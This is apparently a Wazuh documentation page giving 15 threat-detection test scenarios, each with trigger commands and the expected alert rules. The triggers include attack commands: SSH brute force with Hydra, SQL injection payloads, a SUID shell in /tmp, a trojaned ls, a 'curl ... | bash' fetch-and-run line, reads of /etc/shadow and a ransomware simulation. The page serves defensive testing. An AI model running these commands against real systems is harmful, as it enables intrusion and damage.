Wazuh PoC Scenarios - 15 Threat Detection Tests

This section provides 15 ready-to-run Proof of Concept scenarios for demonstrating Wazuh 4.14 threat detection capabilities. Each scenario includes an attack description, a command to reproduce it in a test environment, and the expected alert with its rule ID. All scenarios must be executed exclusively in isolated test environments.

Scenario Summary

#ScenarioMITRE ATT&CKWazuh Rule IDLevel
1SSH brute forceT11105710, 571210
2Malware detection (EICAR)T12048710512
3FIM - file changeT1565550, 5547
4Vulnerability detection-23501-235047-13
5SCA policy failure-19001-190043-7
6Web attack (SQL injection)T119031103, 311066-12
7Rootkit detectionT1014510-5167-12
8Trojan detectionT10365107
9Docker exec monitoringT1610879245
10Windows audit (user creation)T1136515710
11Linux audit (sudo)T1548.0035401-54033-5
12Active Directory logonT107860106, 601223-10
13Suspicious binary detectionT1036100300+7-10
14Network scan detection (Nmap)T104658110
15Ransomware behaviorT1486554, 100400+12-14

Scenario 1: SSH Brute Force

Simulates an SSH password guessing attack. Wazuh detects multiple failed authentication attempts from a single IP address and generates a brute-force alert. This is one of the most common initial access vectors targeting servers.

Prerequisites

  • Wazuh Agent installed on the target Linux server
  • SSH server running and accessible
  • Log data collection module configured for /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS)

Trigger Command

# From the attacker machine - 10 failed login attempts
for i in $(seq 1 10); do
  sshpass -p 'wrongpassword' ssh -o StrictHostKeyChecking=no testuser@TARGET_IP 2>/dev/null
done

Alternative using Hydra:

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4 -V

Expected Alerts

Rule IDLevelDescription
57105sshd: Attempt to login using a non-existent user
571210sshd: brute force trying to get access to the system
572010Multiple sshd authentication failures

Verification

# Via OpenSearch
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.id":"5712"}},{"range":{"timestamp":{"gte":"now-1h"}}}]}}}'

Scenario 2: Malware Detection (EICAR)

Tests malware detection using the EICAR test file. EICAR is a standard test file recognized by all antivirus solutions. Wazuh detects it through FIM-triggered VirusTotal integration.

Prerequisites

  • FIM (syscheck) module configured to monitor the target directory
  • VirusTotal integration enabled (optional but recommended)
  • ClamAV installed on the agent (for the alternative detection method)

Trigger Command

# Create the EICAR test file
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
  > /tmp/eicar-test.txt

# Alternative: download EICAR
curl -o /tmp/eicar-test.com https://secure.eicar.org/eicar.com

Expected Alerts

Rule IDLevelDescription
5547File added to the system (FIM)
8710512VirusTotal: Alert - /tmp/eicar-test.txt - X positives
525027ClamAV: Virus detected (if ClamAV is installed)

Verification

# Check FIM alerts
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.groups":"syscheck"}},{"match":{"syscheck.path":"/tmp/eicar-test.txt"}}]}}}'

Cleanup

rm -f /tmp/eicar-test.txt /tmp/eicar-test.com

Scenario 3: FIM - File Change Monitoring

Tests the File Integrity Monitoring module. FIM tracks creation, modification, and deletion of files in monitored directories. Alerts include the change type, file hashes, and the user who performed the operation.

Prerequisites

Configure the syscheck module to monitor a test directory:

<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/test-fim</directories>
</syscheck>

Trigger Command

# Create the test directory and file
mkdir -p /opt/test-fim
echo "original content" > /opt/test-fim/config.txt

# Wait for scan (or instant with realtime="yes")
sleep 10

# Modify the file
echo "modified content" >> /opt/test-fim/config.txt

# Change permissions
chmod 777 /opt/test-fim/config.txt

# Delete the file
rm -f /opt/test-fim/config.txt

Expected Alerts

Rule IDLevelDescription
5545File added to the system
5507Integrity checksum changed
5537File permissions changed
5537File deleted

Verification

# Via the Wazuh API
TOKEN=$(curl -sk -u wazuh-wui:${WUI_PASS} \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscheck/001?search=/opt/test-fim"

For more on FIM configuration, see the File Integrity Monitoring section.

Scenario 4: Vulnerability Detection

Tests the Vulnerability Detector module. Wazuh scans installed packages on the agent and matches their versions against vulnerability databases (CVE). The module automatically updates databases and generates alerts for vulnerable packages.

Prerequisites

Enable the Vulnerability Detector on the manager:

<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <provider name="canonical">
    <enabled>yes</enabled>
    <os>focal</os>
    <os>jammy</os>
    <update_interval>1h</update_interval>
  </provider>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>

Trigger Command

# Install a package with known vulnerabilities
apt-get install openssl=1.1.1f-1ubuntu2 -y 2>/dev/null || true

# Or for CentOS/RHEL
yum downgrade openssl -y 2>/dev/null || true

# Wait for the next scan cycle (default: 5 minutes)

Expected Alerts

Rule IDLevelDescription
235017Vulnerability found: Low severity
235029Vulnerability found: Medium severity
2350311Vulnerability found: High severity
2350413Vulnerability found: Critical severity

Verification

# Via the Wazuh API
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/vulnerability/001?limit=5&sort=-severity"

Scenario 5: SCA - Configuration Non-Compliance

Tests the Security Configuration Assessment module. SCA compares system settings against CIS Benchmark policies and generates alerts for non-compliant configurations. Results include remediation guidance.

Prerequisites

Enable SCA on the agent:

<sca>
  <enabled>yes</enabled>
  <scan_on_start>yes</scan_on_start>
  <interval>12h</interval>
</sca>

Trigger Command

# Create intentionally insecure SSH configuration
sed -i 's/^#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#PermitEmptyPasswords.*/PermitEmptyPasswords yes/' /etc/ssh/sshd_config

# Set insecure permissions on /etc/shadow
chmod 644 /etc/shadow

# Force an SCA scan
/var/ossec/bin/wazuh-control reload

Expected Alerts

Rule IDLevelDescription
190013SCA scan started
190027SCA check failed: Ensure SSH root login is disabled
190035SCA check passed
190043SCA scan completed

Verification

curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/sca/001/checks/cis_ubuntu22-04" \
  | jq '.data.affected_items[] | select(.result == "failed") | {id, title}'

Cleanup

# Restore secure settings
sed -i 's/^PermitRootLogin yes/#PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PermitEmptyPasswords yes/#PermitEmptyPasswords no/' /etc/ssh/sshd_config
chmod 640 /etc/shadow

Scenario 6: Web Attack - SQL Injection

Simulates SQL injection against a web application. Wazuh analyzes web server logs and detects SQL injection patterns in URL parameters and POST data using built-in rules for Apache, Nginx, and IIS.

Prerequisites

  • Apache or Nginx installed on the agent
  • Wazuh configured to monitor web server logs

Trigger Command

# SQL injection via URL parameters
curl "http://TARGET_IP/page?id=1'+OR+'1'='1"
curl "http://TARGET_IP/page?id=1;DROP+TABLE+users--"
curl "http://TARGET_IP/page?id=1'+UNION+SELECT+null,username,password+FROM+users--"
curl "http://TARGET_IP/search?q='+OR+1=1+--"
curl "http://TARGET_IP/login?user=admin'--&pass=anything"

# SQL injection via POST (if a form exists)
curl -X POST "http://TARGET_IP/login" \
  -d "username=admin'--&password=anything"

# Multiple attempts to trigger a correlation alert
for i in $(seq 1 20); do
  curl -s "http://TARGET_IP/page?id=${i}'+OR+'1'='1" > /dev/null
done

Expected Alerts

Rule IDLevelDescription
311036SQL injection attempt
3110612Web server 500 error (possible successful injection)
3115110Multiple web server 400 errors from same source
3116110Multiple SQL injection attempts

Scenario 7: Rootkit Detection

Tests the Rootcheck module. The module detects rootkit indicators: hidden processes, suspicious files in system directories, modified system binaries, and filesystem anomalies.

Prerequisites

Enable rootcheck:

<rootcheck>
  <disabled>no</disabled>
  <check_files>yes</check_files>
  <check_trojans>yes</check_trojans>
  <check_dev>yes</check_dev>
  <check_sys>yes</check_sys>
  <check_pids>yes</check_pids>
  <check_ports>yes</check_ports>
  <frequency>36000</frequency>
</rootcheck>

Trigger Command

# Create a suspicious file in /dev (typical rootkit behavior)
touch /dev/.hidden_file

# Create a SUID binary in an unusual location
cp /bin/bash /tmp/.suid_shell
chmod 4755 /tmp/.suid_shell

# Create a hidden directory in /dev
mkdir -p /dev/shm/.hidden_dir

# Force rootcheck scan
/var/ossec/bin/wazuh-control reload

Expected Alerts

Rule IDLevelDescription
5107Host-based anomaly detection event
5127Hidden file or directory found in /dev
5138Hidden file found in /dev/shm
51612SUID/SGID binary found in unusual location

Cleanup

rm -f /dev/.hidden_file /tmp/.suid_shell
rm -rf /dev/shm/.hidden_dir

Scenario 8: Trojan Detection

Rootcheck inspects system binaries for suspicious strings characteristic of trojan programs. The module compares system utilities against a database of known trojan signatures.

Prerequisites

  • Rootcheck enabled with <check_trojans>yes</check_trojans>
  • Trojan database updated (/var/ossec/etc/shared/rootkit_trojans.txt)

Trigger Command

# Create a fake system binary (simulating a trojaned ls)
cp /bin/ls /tmp/ls_backup
cat > /tmp/trojan_test.c << 'CEOF'
#include <stdlib.h>
int main() {
    system("/bin/ls");
    return 0;
}
CEOF
gcc -o /usr/local/bin/ls /tmp/trojan_test.c 2>/dev/null

# Create a file with a suspicious name
touch /usr/bin/..LsA

# Force rootcheck scan
/var/ossec/bin/wazuh-control reload

Expected Alerts

Rule IDLevelDescription
5107Trojaned version of file detected
5117Anomaly detected in system binary

Cleanup

rm -f /usr/local/bin/ls /tmp/trojan_test.c /usr/bin/..LsA
cp /tmp/ls_backup /bin/ls 2>/dev/null
rm -f /tmp/ls_backup

Scenario 9: Docker Exec Monitoring

Wazuh monitors Docker container operations, including command execution through docker exec, container creation and removal. Monitoring is performed by analyzing Docker daemon logs.

Prerequisites

  • Docker installed on the agent
  • Wazuh configured for Docker monitoring:
<localfile>
  <log_format>json</log_format>
  <location>/var/lib/docker/containers/*/*.log</location>
</localfile>

<wodle name="docker-listener">
  <disabled>no</disabled>
  <interval>10s</interval>
  <attempts>5</attempts>
  <run_on_start>yes</run_on_start>
</wodle>

Trigger Command

# Start a test container
docker run -d --name wazuh-test-container alpine sleep 3600

# Execute commands inside the container
docker exec wazuh-test-container id
docker exec wazuh-test-container cat /etc/passwd
docker exec -it wazuh-test-container /bin/sh -c "whoami && hostname"

# Suspicious actions inside the container
docker exec wazuh-test-container apk add nmap 2>/dev/null
docker exec wazuh-test-container wget http://example.com/suspicious 2>/dev/null

Expected Alerts

Rule IDLevelDescription
879245Docker: Container exec started
879013Docker: Container created
879033Docker: Container started
879285Docker: Image pulled

Cleanup

docker stop wazuh-test-container
docker rm wazuh-test-container

For more on container monitoring, see the Container Security section.

Scenario 10: Windows Audit - User Creation

Wazuh analyzes the Windows Security Event Log and detects new account creation. This is a critical compromise indicator, especially when accounts are created outside standard access management processes.

Prerequisites

  • Wazuh Agent installed on Windows Server
  • Account management auditing enabled in Group Policy

Trigger Command

# PowerShell: create a local user
New-LocalUser -Name "testuser_poc" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -FullName "PoC Test User" -Description "Created for Wazuh PoC"

# Add to Administrators group
Add-LocalGroupMember -Group "Administrators" -Member "testuser_poc"

# cmd: alternative method
net user testuser_poc P@ssw0rd123! /add
net localgroup Administrators testuser_poc /add

Expected Alerts

Rule IDLevelDescription
515710A user account was created (Event ID 4720)
515810A user account was enabled (Event ID 4722)
515510A member was added to a security-enabled global group (Event ID 4728)

Cleanup

Remove-LocalUser -Name "testuser_poc"

Scenario 11: Linux Audit - sudo

Wazuh monitors sudo usage, logging all privilege escalation events. Alerts are generated for successful and failed sudo attempts, as well as attempts to run prohibited commands.

Prerequisites

  • Wazuh Agent monitors /var/log/auth.log or /var/log/secure

Trigger Command

# Successful sudo execution
sudo ls /root

# Failed sudo attempt (from an unprivileged user)
su - testuser -c "sudo cat /etc/shadow" 2>/dev/null

# Multiple failed attempts
for i in $(seq 1 5); do
  echo "wrongpassword" | sudo -S cat /etc/shadow 2>/dev/null
done

# Sudo with a suspicious command
sudo bash -c "curl http://example.com/payload | bash" 2>/dev/null

Expected Alerts

Rule IDLevelDescription
54013First time user executed sudo
54025Successful sudo
54035User NOT in sudoers file
54045Incorrect password in sudo

Scenario 12: Active Directory Logon Monitoring

Wazuh analyzes Windows authentication events, including interactive and network logons, account lockouts, and privileged account usage.

Prerequisites

  • Wazuh Agent installed on a domain controller or Windows workstation
  • Logon auditing enabled in Group Policy
  • Account lockout policy configured

Trigger Command

# Multiple failed logon attempts (trigger lockout)
$password = ConvertTo-SecureString "WrongPassword!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\testuser", $password)

for ($i = 1; $i -le 10; $i++) {
    try {
        Start-Process notepad.exe -Credential $cred -ErrorAction Stop
    } catch {
        Write-Host "Attempt $i failed"
    }
}

# Logon with a privileged account
runas /user:DOMAIN\Administrator "cmd.exe /c whoami"

Expected Alerts

Rule IDLevelDescription
601065Logon failure (Event ID 4625)
6012210Account lockout (Event ID 4740)
601043Successful logon (Event ID 4624)
601308Privileged logon (Event ID 4672)

Scenario 13: Suspicious Binary Detection

Wazuh detects executable files appearing in unusual directories. A combination of FIM and custom rules tracks binary creation in /tmp, /var/tmp, user home directories, and other suspicious locations.

Prerequisites

Configure FIM to monitor unusual directories:

<syscheck>
  <directories check_all="yes" realtime="yes">/tmp</directories>
  <directories check_all="yes" realtime="yes">/var/tmp</directories>
  <directories check_all="yes" realtime="yes">/dev/shm</directories>
</syscheck>

Custom rule:

<rule id="100300" level="10">
  <if_sid>554</if_sid>
  <field name="syscheck.path">/tmp/|/var/tmp/|/dev/shm/</field>
  <match>is_executable</match>
  <description>Executable binary created in temporary directory: $(syscheck.path)</description>
  <mitre>
    <id>T1036</id>
  </mitre>
  <group>syscheck,suspicious_binary,</group>
</rule>

Trigger Command

# Compile a binary in /tmp
cat > /tmp/test_binary.c << 'CEOF'
#include <stdio.h>
int main() { printf("test\n"); return 0; }
CEOF
gcc -o /tmp/test_binary /tmp/test_binary.c
chmod +x /tmp/test_binary

# Copy a system binary to /var/tmp
cp /usr/bin/python3 /var/tmp/svchost

# Create a script in /dev/shm
echo '#!/bin/bash' > /dev/shm/payload.sh
echo 'id > /tmp/output' >> /dev/shm/payload.sh
chmod +x /dev/shm/payload.sh

Expected Alerts

Rule IDLevelDescription
5545File added to the system
10030010Executable binary created in temporary directory (custom rule)

Cleanup

rm -f /tmp/test_binary /tmp/test_binary.c /var/tmp/svchost /dev/shm/payload.sh

Scenario 14: Network Scan Detection (Nmap)

Wazuh detects network scanning through firewall and IDS log analysis. When multiple connections to different ports from a single IP address are detected, an alert for potential scanning is generated.

Prerequisites

  • Firewall logging enabled on the target host (iptables, Windows Firewall)
  • Wazuh Agent monitors firewall logs

Recommended iptables logging configuration:

# Log all new incoming connections
iptables -A INPUT -m state --state NEW -j LOG --log-prefix "iptables: "

Trigger Command

# From the attacker machine: full port scan
nmap -sS -p 1-1000 TARGET_IP

# Service detection scan
nmap -sV -p 22,80,443,3306,5432 TARGET_IP

# Aggressive scan (generates more alerts)
nmap -A -T4 TARGET_IP

# UDP scan
nmap -sU --top-ports 100 TARGET_IP

Expected Alerts

Rule IDLevelDescription
58110Multiple firewall drop events from same source
41018Firewall drop event
3115110Multiple connection attempts from same source

Scenario 15: Ransomware Behavior Detection

Wazuh detects typical ransomware behavior: mass file renaming with appended extensions, rapid modification of multiple files, and Windows shadow copy deletion. Detection uses a combination of FIM and custom rules.

Prerequisites

Configure FIM with report_changes and realtime:

<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/important-data</directories>
</syscheck>

Custom rules for ransomware detection:

<rule id="100400" level="12" frequency="20" timeframe="60">
  <if_matched_sid>550</if_matched_sid>
  <description>Possible ransomware activity: $(syscheck.diff) files modified rapidly</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,</group>
</rule>

<rule id="100401" level="14">
  <if_sid>554</if_sid>
  <field name="syscheck.path">\.encrypted$|\.locked$|\.crypto$|\.crypt$</field>
  <description>Possible ransomware: file with encryption extension created: $(syscheck.path)</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,critical,</group>
</rule>

Trigger Command

# Prepare test data
mkdir -p /opt/important-data
for i in $(seq 1 30); do
  echo "Important document content ${i}" > "/opt/important-data/document_${i}.txt"
done

# Wait for the initial FIM scan
sleep 30

# Simulate ransomware behavior: mass renaming with appended extension
for f in /opt/important-data/*.txt; do
  cp "${f}" "${f}.encrypted"
  echo "ENCRYPTED" > "${f}"
done

# Simulate a ransom note
echo "Your files have been encrypted. Send Bitcoin to..." > /opt/important-data/README_DECRYPT.txt

Expected Alerts

Rule IDLevelDescription
5507Integrity checksum changed (multiple)
5545File added to the system (.encrypted)
10040012Possible ransomware activity: rapid file modifications
10040114Possible ransomware: file with encryption extension created

Cleanup

rm -rf /opt/important-data

Recommendations for Conducting PoC

Execution Order

  1. Start with straightforward scenarios (FIM, SCA) to verify basic functionality
  2. Move to network scenarios (SSH brute force, Nmap)
  3. Finish with complex scenarios (ransomware, rootkit)

Documenting Results

For each scenario, record the following:

  • Trigger command execution time
  • Time the alert appeared in the Dashboard (detection latency)
  • Full alert text (JSON)
  • Screenshot from Wazuh Dashboard

Common Issues

IssueCauseResolution
Alert does not appearFIM running on scheduleEnable realtime="yes"
No vulnerability alertsCVE databases not updatedCheck vulnerability-detector in ossec.conf
SCA does not startModule disabledSet <enabled>yes</enabled>
Docker alerts missingDocker listener not configuredAdd the docker-listener wodle

For more on detection capabilities, see the Wazuh Capabilities section. Rule configuration details are available in the Development section.

Last updated on